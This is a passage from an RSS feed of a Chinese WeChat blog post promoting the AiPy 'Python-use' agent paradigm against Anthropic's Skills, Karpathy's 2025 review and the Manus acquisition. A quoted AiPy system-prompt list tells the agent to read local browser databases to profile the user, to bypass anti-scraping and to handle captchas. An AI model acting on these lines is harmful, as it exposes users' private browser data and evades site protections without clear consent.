interface&#34;，包括他们对Claude Code定位（不再局限在IDE），到“可扩展（scalable）”、“API调用” 、“环境”等概念的理解，基本上都可以在我以往的介绍Python-use的相关文章里见到。</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000813" data-s="300,640" type="block" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=81508e4f&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpV8icnDNc4Nxgw5phN32vfheNuMDZ4Aalhc7ibVcibSqJZKWpxggBcIRbcA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">尤其是最开始的<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484350&amp;idx=1&amp;sn=597466021965564fe0b88789ec36e7f2&amp;scene=21#wechat_redirect" textvalue="《【Agents/MCP可能不存在了】No Agents, Just Python-use！》" data-itemshowtype="0" linktype="text" data-linktype="2">《【Agents/MCP可能不存在了】No Agents, Just Python-use！》</a>明确了&#34;No Agents, Code is Agent/No Agents, Just Python-use！&#34;的核心观点，这个内容其实我在之前发过朋友圈并同步到一些AI相关的群里，其实我也知道反复去讲这些必然会引起一些人的不适，比如最早我们提出的&#34;No Agents、No MCP、No Workflow、No Clients ...&#34; 其实在我们内部也有很多不一样的看法意见，尤其是MCP我们AiPy实际上也是支持MCP的，包括我们的AiPy Pro的智能体也是兼容MCP的，这个都是基于“产品”维度选择，这些都可以理解，所以我在以往的文章里说：大家都被MCP绑架了～～  </span></p><p><span leaf="">而我这里其实是基于“范式”的角度去探讨的，基于“范式”那肯定是要看整体上的，而不是具体一个词、一个概念。当时有人就说了你这个Code use的方式人家很早就有了，包括CodeAct（CodeAct的相关 我已经在<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484450&amp;idx=1&amp;sn=4f1271dbd048b457327a5bf59e171e63&amp;scene=21#wechat_redirect" textvalue="《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证》" data-itemshowtype="0" linktype="text" data-linktype="2">《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证》</a>进行探讨），可能还有人会提到通过Code来完成任务的模式很早有模型厂商或者Agent用过了，实际上我在<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484350&amp;idx=1&amp;sn=597466021965564fe0b88789ec36e7f2&amp;scene=21#wechat_redirect" textvalue="《【Agents/MCP可能不存在了】No Agents, Just Python-use！》" data-itemshowtype="0" linktype="text" data-linktype="2">《【Agents/MCP可能不存在了】No Agents, Just Python-use！》</a>就提到GPT-4o的方式，至于其他Agent他们都是把Code当成了几个Agents中的一个Agent去调用，包括Manus 这些其实都是相对片面的视角。我们看一个“范式”需要更加完整的视角去看!</span></p><p><span leaf="">至于skills除了我在<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484450&amp;idx=1&amp;sn=4f1271dbd048b457327a5bf59e171e63&amp;scene=21#wechat_redirect" textvalue="《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证》" data-itemshowtype="0" linktype="text" data-linktype="2">《从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证》</a>提到的&#34;code execution&#34;部分之外，真正提到的“技能”这个最早是AiPy里我们称为“最佳实践”：</span></p><blockquote class="js_blockquote_wrap"><div class="js_blockquote_digest"><p><span leaf="">当然他还拥有任务理解规划、代码最佳实践方案、记忆管理注意力调整、任务反思反馈的能力，甚至我们认为通过Python Use这种范式，可以让各种AI章鱼和谐统一的为人类工作（类“MOE”模式），甚至可以让AI章鱼的自我进化，不只是手和脚，可以促进眼睛、鼻子、嘴巴等多模态能力的进化！最终实现AGI，这才是真正的“智能体”</span></p></div><p class="blockquote_info js_blockquote_source" data-json="%7B%22type%22%3A%22inner%22%2C%22article%22%3A%7B%22title%22%3A%22%E3%80%90Agents%2FMCP%E5%8F%AF%E8%83%BD%E4%B8%8D%E5%AD%98%E5%9C%A8%E4%BA%86%E3%80%91No%20Agents%2C%20Just%20Python-use%EF%BC%81%22%2C%22url%22%3A%22https%3A%2F%2Fmp.weixin.qq.com%2Fs%2F9GJmQAhNnUhPK_cfHGSh1w%22%2C%22nickname%22%3A%22%E9%BB%91%E5%93%A5%E8%99%BE%E6%92%A9%22%2C%22authorName%22%3A%22heige%22%7D%7D"><span class="blockquote_biz">heige，公众号：黑哥虾撩<a class="blockquote_article" href="https://mp.weixin.qq.com/s/9GJmQAhNnUhPK_cfHGSh1w">【Agents/MCP可能不存在了】No Agents, Just Python-use！</a></span></p></blockquote><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="perl"><code><span leaf=""><span class="code-snippet__comment"># 任务最佳实践</span></span></code><br/><code><span leaf="">- 分析本地浏览器数据画像：直接使用读取本地浏览器数据库</span></code><br/><code><span leaf="">- 图片OCR提取文字及对应坐标方案：paddleocr 或 easyocr</span></code><br/><code><span leaf="">- 图片中图标标记并定位： openvc</span></code><br/><code><span leaf="">- claude调用：anthropic包</span></code><br/><code><span leaf="">- 天气查询：request + 高德API或中国天气网 ，当用户没有指定地理位置时，请调用高德API进行定位</span></code><br/><code><span leaf="">- 股票查询：yfinance</span></code><br/><code><span leaf="">- 网页访问：playwright 具体方案参考 <span class="code-snippet__string">&#34;playwright方案规则&#34;</span></span></code><br/><code><span leaf="">- 浏览器访问网页：browser-<span class="code-snippet__keyword">use</span> LLM使用openai gpt4o ，具体方案参考 “browser-<span class="code-snippet__keyword">use</span>方案规则”</span></code><br/><code><span leaf="">- 数据可视化图表：matplotlib 注意中文字体选择：<span class="code-snippet__string">&#39;windows&#39;</span>: [<span class="code-snippet__string">&#39;Microsoft YaHei&#39;</span>, <span class="code-snippet__string">&#39;SimHei&#39;</span>],<span class="code-snippet__string">&#39;darwin&#39;</span>: [<span class="code-snippet__string">&#39;Kai&#39;</span>, <span class="code-snippet__string">&#39;Hei&#39;</span>],<span class="code-snippet__string">&#39;linux&#39;</span>: [<span class="code-snippet__string">&#39;Noto Sans CJK SC&#39;</span>, <span class="code-snippet__string">&#39;WenQuanYi Micro Hei&#39;</span>, <span class="code-snippet__string">&#39;Source Han Sans SC&#39;</span>]</span></code><br/><code><span leaf="">- 视频处理：ffmpeg-python</span></code><br/><code><span leaf="">- 网络搜索：request + Tavily API，并触发网页访问阅读相关网页内容</span></code><br/><code><span leaf="">- 反爬访问：playwright 或 browser-<span class="code-snippet__keyword">use</span></span></code><br/><code><span leaf="">- 验证码、发帖、发微博：browser-<span class="code-snippet__keyword">use</span></span></code><br/><code><span leaf="">- 图片生成或修改：request +Google Gemini API 注意LLM模型使用 gemini-<span class="code-snippet__number">2.0</span>-flash-<span class="code-snippet__keyword">exp</span>-image-generation </span></code><br/><code><span leaf="">- 华为鸿蒙手机USB控制命令：</span></code><br/><code><span leaf="">    • 截屏：hdc shell uitest screenCap -p /data/<span class="code-snippet__keyword">local</span>/tmp/screen.png</span></code><br/><code><span leaf="">    • 回到屏幕首页：hdc shell uitest uiInput keyEvent Home</span></code><br/><code><span leaf="">    • 返回：hdc shell uitest uiInput keyEvent Back</span></code><br/><code><span leaf="">    • 向下滑动：hdc shell uitest uiInput dircFling <span class="code-snippet__number">3</span> <span class="code-snippet__number">10000</span></span></code><br/><code><span leaf="">    • 向上滑动：hdc shell uitest uiInput dircFling <span class="code-snippet__number">2</span> <span class="code-snippet__number">10000</span></span></code><br/><code><span leaf="">    • 左滑：hdc shell uitest uiInput dircFling <span class="code-snippet__number">0</span> <span class="code-snippet__number">1500</span></span></code><br/><code><span leaf="">    • 右滑：hdc shell uitest uiInput dircFling <span class="code-snippet__number">1</span> <span class="code-snippet__number">1500</span></span></code><br/><code><span leaf="">    • 输入框：hdc shell uitest uiInput inputText <span class="code-snippet__keyword">x</span> <span class="code-snippet__keyword">y</span> hello </span></code><br/><code><span leaf="">    • 模拟点击：hdc shell uitest uiInput click <span class="code-snippet__keyword">x</span> <span class="code-snippet__keyword">y</span></span></code><br/><code><span leaf="">- 打开手机对应app</span></code><br/><code><span leaf="">    先通过OCR识别【应用名称】文字坐标 → 向上偏移【<span class="code-snippet__number">120</span>】像素获取图标中心 → 用【HSV色彩空间】验证图标主色调 → 最终点击坐标修正【±<span class="code-snippet__number">5</span>】像素容差</span></code><br/><code><span leaf="">- 拨打电话：（注意需要在终端显示标记的图片）</span></code><br/><code><span leaf="">    通过USB连接了我的鸿蒙手机，请通过hdc shell进行管理，回到手机屏幕首页，但后找到手机按钮坐标，模拟点击手机按钮进入拨号键面，最后通过hdc shell uitest uiInput click <span class="code-snippet__keyword">x</span>  <span class="code-snippet__keyword">y</span> 方式依次点击对应坐标拨打用户输入的电话号码，注意在电话号码输入完整后再点击拨号按键。</span></code><br/></pre></p><p><span leaf="">上面这个是我早期AiPy里的提示词，根据不通任务去选择对应的Python Packages或者 命令工具及代码调用 模型调用方式等，这个最早是放在AiPy系统提示词里，这导致的如果场景越多最终你的这个内容越多，占用的tokens会越到，注意力也可能不够集中，所以后面我们把这部分进行拆分和优化，一部分我们分化出了“角色”这个概念，用户可以通过不通“角色”来定一个这个“最佳实践”，当然后面我们“命令”也是可以做这部分工作，而另外一部分我们通过API Calling来实现云端智能选择，也就是你的任务提示词提交给大模型之前，会通过API Calling得方式去请求我们云端的“小模型”，做提示词优化，而这个“小模型”的目的就是根据你的任务选择并生成“最佳实践”。</span></p><p><span leaf="">实际上在我的视角，如果你认识到了&#34;No Agents, Code is Agent&#34;，这些“最佳实践”就是“自然而然”，“水到渠成”的事情，这个是Python-use范式的先天优势，这段时间Skills火了后，我看到一些有意识的评论，比如：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000804" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=d1ce8715&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVqJ1RTibgKQfj94nctL7vRic5RCaZriba7YZNFqN9vKm7RNUIBbgIDdUJg%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">响马这个看法不就是“No Workflow”嘛，其实在我上面给出最佳实践里：</span></p><p class="code-snippet__fix code-snippet__js"><ul class="code-snippet__line-index code-snippet__js"></ul><pre class="code-snippet__js" data-lang="css"><code><span leaf="">- 华为鸿蒙手机USB控制命令：</span></code><br/><code><span leaf="">    • 截屏：hdc shell uitest screenCap -<span class="code-snippet__selector-tag">p</span> /data/local/tmp/screen<span class="code-snippet__selector-class">.png</span></span></code><br/><code><span leaf="">    • 回到屏幕首页：hdc shell uitest uiInput keyEvent Home</span></code><br/><code><span leaf="">    • 返回：hdc shell uitest uiInput keyEvent Back</span></code><br/><code><span leaf="">    • 向下滑动：hdc shell uitest uiInput dircFling <span class="code-snippet__number">3</span> <span class="code-snippet__number">10000</span></span></code><br/><code><span leaf="">    • 向上滑动：hdc shell uitest uiInput dircFling <span class="code-snippet__number">2</span> <span class="code-snippet__number">10000</span></span></code><br/><code><span leaf="">    • 左滑：hdc shell uitest uiInput dircFling <span class="code-snippet__number">0</span> <span class="code-snippet__number">1500</span></span></code><br/><code><span leaf="">    • 右滑：hdc shell uitest uiInput dircFling <span class="code-snippet__number">1</span> <span class="code-snippet__number">1500</span></span></code><br/><code><span leaf="">    • 输入框：hdc shell uitest uiInput inputText <span class="code-snippet__attribute">x</span> <span class="code-snippet__attribute">y</span> hello </span></code><br/><code><span leaf="">    • 模拟点击：hdc shell uitest uiInput click <span class="code-snippet__attribute">x</span> <span class="code-snippet__attribute">y</span></span></code><br/><code><span leaf="">- 打开手机对应app</span></code><br/><code><span leaf="">    先通过OCR识别【应用名称】文字坐标 → 向上偏移【<span class="code-snippet__number">120</span>】像素获取图标中心 → 用【HSV色彩空间】验证图标主色调 → 最终点击坐标修正【±<span class="code-snippet__number">5</span>】像素容差</span></code><br/><code><span leaf="">- 拨打电话：（注意需要在终端显示标记的图片）</span></code><br/><code><span leaf="">    通过USB连接了我的鸿蒙手机，请通过hdc shell进行管理，回到手机屏幕首页，但后找到手机按钮坐标，模拟点击手机按钮进入拨号键面，最后通过hdc shell uitest uiInput click <span class="code-snippet__attribute">x</span>  <span class="code-snippet__attribute">y</span> 方式依次点击对应坐标拨打用户输入的电话号码，注意在电话号码输入完整后再点击拨号按键。</span></code><br/></pre></p><p><span leaf="">就有点“Workflow”的味道？！这个是2025年4月份通过AiPy尝试phone use控制纯血鸿蒙系统成功拨号的效果：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000805" data-s="300,640" type="block" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=d8977a14&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVTtTZtkTwJTicOzvTqoOMYYBDxH8OS1ZXFGgjE1xDqs35HsbCmHFNXIw%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000806" data-s="300,640" type="block" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=64145065&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVDI41pE7AMQXomuk4LMZ13dyqLEnF1nlYdOICHfYy4lu8ou8Pm5J6FA%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">而在2025年12月在豆包手机短暂火一把之后 智谱开源的 </span></p><blockquote><p><span leaf="">github.com/zai-org/Open-AutoGLM</span></p></blockquote><p><span leaf=""> 方式其实跟我当时使用的方式是一样的，只是我当时识别图片坐标的是Claude模型，当时缺少针对性的手机GUI训练的模型，效果还是非常不稳定。</span></p><p><span leaf="">在某种角度这也说明了：“模型越强，AiPy就越强的”，这个是由于Python-use范式里“Freedom AI”解放大模型最好的诠释！</span></p><p><span leaf="">在AI Agent领域，基础模型是至关重要的，这个为什么Manus大火后很多人觉得效果有很大一部分是Claude模型的功劳，而被Manus很多人藐视仅仅是“套壳”而已，并且在manuse之后大部分的Agent的创业产品都选择使用Claude等国外闭源一线模型，实际上我们的AiPy一直都是使用的国产模型，而这些包括“技能”支持的效果，实际上是非常考验模型能力的，这个也是为什么早期Skills只在Claude Code上表现好，而在其他模型上表现效果可能没有那么好也有一定相关性，万幸的是2025年国产模型发力，逐步缩小不少差距！有兴趣的可以看看AiPy以往的模型测评结果：<a href="https://www.aipyaipy.com/" target="_blank">https://www.aipyaipy.com/</a> （点击“测评报告”）</span></p><p><span leaf=""><span textstyle="" style="font-size: 24px;font-weight: bold;">Andrej Karpathy - 2025 LLM Year in Review</span>  </span></p><p><span leaf="">在聊完Skiils两位缔造者的演讲后，我们再看看我们的“老朋友”</span><span leaf="" data-pm-slice="1 1 [&#34;para&#34;,{&#34;tagName&#34;:&#34;p&#34;,&#34;attributes&#34;:{},&#34;namespaceURI&#34;:&#34;http://www.w3.org/1999/xhtml&#34;}]">Andrej Karpathy发布的2025的总结：</span></p><blockquote><p><span leaf=""><a href="https://karpathy.bearblog.dev/year-in-review-2025/" target="_blank">https://karpathy.bearblog.dev/year-in-review-2025/</a></span></p></blockquote><p><span leaf="">Andrej Karpathy在吹火Vibe Coding后，后面他的推特基本上都会被热捧，在Vibe Coding之后他又提出了&#34;Context Engineering&#34;，所以在前面他写的《2025 LLM Year in Review》总结里对这些都有覆盖，他这个总结有6点，用notebooklm总结了下面三个方面：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000807" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=69505088&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVlkt3dwVotm50pULicQRVEFKImJQo1LjDvWbgzxaLMb8ic9PQ1vPLH9Og%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">当然我这里主要是一下交互相关的也就是Karpathy总结了的后4点，对应Vibe Coding我之前写过一篇专文<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484413&amp;idx=1&amp;sn=583de95c7b2f0cb6daff2c4dbf08b674&amp;scene=21#wechat_redirect" textvalue="《从 Vibe Coding 到 Vibe Working》" data-itemshowtype="0" linktype="text" data-linktype="2">《从 Vibe Coding 到 Vibe Working》</a> 实际上我也算是最早实践者之一，而且还是在Vibe Coding这个概念提出之前，可以参考<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484330&amp;idx=1&amp;sn=a17447ffd6c859e14d05adf61f76f1ea&amp;scene=21#wechat_redirect" textvalue="《0基础到纯血鸿蒙APP开发实践》" data-itemshowtype="0" linktype="text" data-linktype="2">《0基础到纯血鸿蒙APP开发实践》</a></span></p><p><span leaf="">当然我这里其实是想强调下相比Vibe Coding，Vibe Working这个词更符合Python-use范式。</span></p><p><span leaf="">然后就是 &#34;3. Cursor / new layer of LLM apps&#34; Cursor是一只都有推荐的并不是2025年菜火，我觉得Karpathy之所以2025年的总结里提出是为了说明：&#34;Context Engineering&#34;，在目前的AI Agent的领域我觉得&#34;Context Engineering&#34;核心中的核心，很多的问题其实就是围绕&#34;Context&#34;展开的，在这里我需要说明下的是我认为的&#34;Context Engineering&#34;是不只是与LLM对话的上下文，而是与“环境”交互的所有内容，包括了对话过程、记忆、技能（最佳实践）、APIkey（认证凭证）及API或者其他工具说明等等</span></p><p><span leaf="">其实我在<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484432&amp;idx=1&amp;sn=08f9bc756097a23e7add75ed2460b8ff&amp;scene=21#wechat_redirect" textvalue="《Code是AI的手：姚顺雨访谈与Python-Use范式的对话》" data-itemshowtype="0" linktype="text" data-linktype="2">《Code是AI的手：姚顺雨访谈与Python-Use范式的对话》</a>一文中有说明：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000808" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=b99bcd65&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVtPNOiaZ5zn2POOPl0ManbniczicXx2zbwnRo2Owg31aFhlDharVwiaIvFw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">在这个理解层面，Cursor在代码角度确实是做的比较好的，当然我在<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484432&amp;idx=1&amp;sn=08f9bc756097a23e7add75ed2460b8ff&amp;scene=21#wechat_redirect" textvalue="《Code是AI的手：姚顺雨访谈与Python-Use范式的对话》" data-itemshowtype="0" linktype="text" data-linktype="2">《Code是AI的手：姚顺雨访谈与Python-Use范式的对话》</a>已经说明过了：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000809" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=6bd8fff5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVUJG0sZhD9fAuDkiaXrcU2lugDXQOhn07q8yn352p4oYXJoUf7v6lUSQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">实际上Anthropic提出的包括MCP、PTC、Skills甚至包括SubAgent这些都是围绕&#34;Context Engineering&#34;而探索的结果，我在下面这个经典的图上做个标识可能更好理解：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000810" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=f3d8c527&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVTJ7hJnJq8ybaQPpSYmPX1G2NrBE1Yl6DvMVqpm63oQSycTcafV0IjQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">当然Karpathy原文里还提到了Cursor在2025年终于意识到他不只是个IDE这些问题，这个我在之前那些文章也有提到当时被IDE局限的问题，当然在上面提到的Skills两位也开始意识到Claude Code的定位问题，都是一样的...</span></p><p><span leaf="">“4. Claude Code / AI that lives on your computer” </span></p><p><span leaf="">其实我看到Karpathy的文章的时候，我第一反应就是这个第4点应该是AiPy啊，又是“羡慕嫉妒恨”大厂的时候：</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000811" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=da7c869d&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVxauEEZYTWWBjWFicsqLjdSCeZfM7Vu4Cy1WFgyQiaDRRv9ibsiasSbQicvQ%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">这个完完全全就是AiPy的描叙，AiPy的推出比Claude Code要早，在范式角度实际上强调了本地环境的重要性和扩展性，这个理念我在<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484380&amp;idx=1&amp;sn=cd6f91d7432b3392cc79c81f5187d467&amp;scene=21#wechat_redirect" textvalue="《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》" data-itemshowtype="0" linktype="text" data-linktype="2">《AI Agent真正落地的关键：大模型与环境数据的无限扩展能力》</a>一文做了详细的阐述，包括我最早看到MCP的优势其实，也是在于本地环境的交互上，当然可能是这篇文章写了大量的案例导致可能关注度（阅读量）少了点。</span></p><p><span leaf="">比较有意思的Karpathy还吐槽了Codex最开始的路走错了：</span></p><blockquote><p><span leaf="">“I think OpenAI got this wrong because they focused their early codex / agent efforts on cloud deployments in containers orchestrated from ChatGPT instead of simply localhost. ”</span></p></blockquote><p><span leaf="">这个跟我在<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484413&amp;idx=1&amp;sn=583de95c7b2f0cb6daff2c4dbf08b674&amp;scene=21#wechat_redirect" textvalue="《从 Vibe Coding 到 Vibe Working》" data-itemshowtype="0" linktype="text" data-linktype="2">《从 Vibe Coding 到 Vibe Working》</a>也提到了类似问题，当然最早在<a class="normal_text_link" target="_blank" style="" href="https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484350&amp;idx=1&amp;sn=597466021965564fe0b88789ec36e7f2&amp;scene=21#wechat_redirect" textvalue="《【Agents/MCP可能不存在了】No Agents, Just Python-use！》" data-itemshowtype="0" linktype="text" data-linktype="2">《【Agents/MCP可能不存在了】No Agents, Just Python-use！》</a>提到了“AI章鱼关了起来，并对它的触手安装了巨大的枷锁”很大部分就是这个环境交互的问题，这个其实也包括Manus这种云端的模式，所以我在祝福Manus被Meta收购成功上岸的同时，是不看好这种模式的，因为这种模式最终模型厂商都会内化</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img js_insertlocalimg" data-aistatus="1" data-imgfileid="100000812" data-s="300,640" type="block" data-type="png" src="https://wechat2rss.xlab.app/img-proxy/?k=cc7d1b9e&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVBPB2BmhJ5efickJO4eaoemqQRE3XibaerCibHmMAKP8sQRLXFib6xS6qzw%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">“6. Nano banana / LLM GUI”</span></p><p><span leaf="">当然这个点入选一点也不意外，Google的Gemini3和香蕉模型的成功，到现在估计仍然还是“奥特曼”的噩梦，即使是“边角料”应用的NotebookLM因为香蕉模型的加持，直接改写了那些PPT agent进程历史，在我个人看来NotebookLM的信息图及ppt生成，真正做到了可实际应用的阶段，在我的心里是可以Cursor时刻相媲美，当然还有很多细节值得优化，可惜看起来Google对NotebookLM的重视程度在我看来远远不够 ... </span></p><p><span leaf="">有点跑偏了，在本文这个背景下其实应该关注的是LLM GUI，因为在AI Agent的领域里Agent 2.0还有一个拼图就是LLM GUI，对操作系统、APP等的GUI的理解，实际上到现在Python-use的范式，对于GUI的控制是非常有限的，主要依赖API服务的能力，在上文提到的phone use的尝试就是这样，当然在后续有对应的模型出现，比如智谱AutoGLM-Phone-9B等模型，会通过API Calling实现MOE方式完全是可以兼容的，只是这个依赖模型厂商提供的模型能力。</span></p><p><span leaf="">小结</span></p><p><span leaf="">2025年最后一天，在2025年Python-use范式的诞生，有幸看到了很多的理念与大佬的理解认识趋同的地方，当然不管是什么样的范式和技术路线，最终的效果可能都是一样的！最后我也想表达一下对于Python-use范式的核心关键在于：Code就是标准协议、与环境交互接口。有着天然的完整性和扩展性。</span></p><p><span leaf="">最后提一下Manus被收购的这个事情，其实我在很多次都提到Manus与Cursor是AI Agent领域创业非常值得学习研究的对象，因为他们打破了“大厂”的魔咒，Manus的成功上岸，取决于他们的运作及产品本身，在当时那个时间节点Manus的产品有它的亮点和优势，然后可能是结合他们在Web3领域的项目运营经验，能一举突破，都是值得研究的。而且有个既定的事实：实际上到目前为止很多人可能都不知道Cursor是什么，Manus又是什么？知道的可能也有很多人并没有用过Manus ...</span></p><p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-aistatus="1" data-imgfileid="100000814" data-s="300,640" type="block" data-type="jpeg" src="https://wechat2rss.xlab.app/img-proxy/?k=598560b1&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmuswdQRxIfdBCNtys2L17ubpVmfbReIdbjBSMpibE85wVTaDXxOCoUIkeOKswpuvYn5fjYmYexKmLbMQ%2F640%3Fwx_fmt%3Djpeg%26from%3Dappmsg"/></p><p><span leaf="">至于Meta收购Manus妄想继续WhatsApp类似的收购案例的复刻，我估计不太可能，现在其实这种云端的Agent更多的依赖模型，而Meta目前看上去在基础大模型上已经掉队很久了，当然Meta不差钱，后面还能不能力挽狂澜，还得看基础大模型，单凭个Manus很难！！！ 当然这种其实可能都是小波浪，因为在现在LLM模式下还没有看到一个符合现在LLM模式的商业基础模式，现在还在技术变革的阶段，就像豆包手机那样，可能就是一个小插曲！</span></p><p><span leaf="">祝大家在2026年66大顺～～</span></p><p style="display: none;"><mp-style-type data-value="3"></mp-style-type></p>


<p><a href="%27%27">阅读原文</a></p>
<p><a href="https://wechat2rss.xlab.app/link-proxy/?k=156e6f31&amp;r=1&amp;u=https%3A%2F%2Fmp.weixin.qq.com%2Fs%3F__biz%3DMzg5OTU1NTEwMg%3D%3D%26mid%3D2247484466%26idx%3D1%26sn%3De65765298da167e80bb0cf7f63cf34ce">跳转微信打开</a></p>
]]></content:encoded>
      <pubDate>Wed, 31 Dec 2025 20:14:00 +0800</pubDate>
    </item>
    <item>
      <title>从MCP到PTC Anthropic回归Code Execution路线，AiPy的范式被再次验证</title>
      <link>https://mp.weixin.qq.com/s?__biz=Mzg5OTU1NTEwMg==&amp;mid=2247484450&amp;idx=1&amp;sn=4f1271dbd048b457327a5bf59e171e63</link>
      <description></description>
      <content:encoded><![CDATA[<p>原创 <span>heige</span> <span>2025-12-10 17:07</span> <span style="display: inline-block;">湖南</span></p>




  
  <p><img src="https://wechat2rss.xlab.app/img-proxy/?k=7da68dca&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_jpg%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExDNWbqgO1q5gJWh4TD1dC9DQnX0sVjRzBfHqEtVO3VNB1NWfCAsiaGdtw%2F0%3Fwx_fmt%3Djpeg"/></p>
  
  <p style="text-align: center;" nodeleaf=""><img class="rich_pages wxw-img" data-imgfileid="100000786" data-ratio="0.5583333333333333" data-s="300,640" type="block" data-type="png" data-w="1080" src="https://wechat2rss.xlab.app/img-proxy/?k=2d03a8d5&amp;u=https%3A%2F%2Fmmbiz.qpic.cn%2Fmmbiz_png%2FTjmWAPibmusy8kZXCv4JQzzGXAH3EuExD9hsib1mLkTqhpWSGiaicS3zjluKFOyZ60XCk9Jc5RWX1lHRURabUMLrWA%2F640%3Fwx_fmt%3Dpng%26from%3Dappmsg"/></p><p><span leaf="">前面Anthropic连续发布了很多跟Agent技术相关的更新，在Nov 04, 2025发布了：</span></p><blockquote><p><span leaf="">Code execution with MCP: Building more efficient agents <a href="https://www.anthropic.com/engineering/code-execution-with-mcp" target="_blank">https://www.anthropic.com/engineering/code-execution-with-mcp</a></span></p></blockquote><p><span 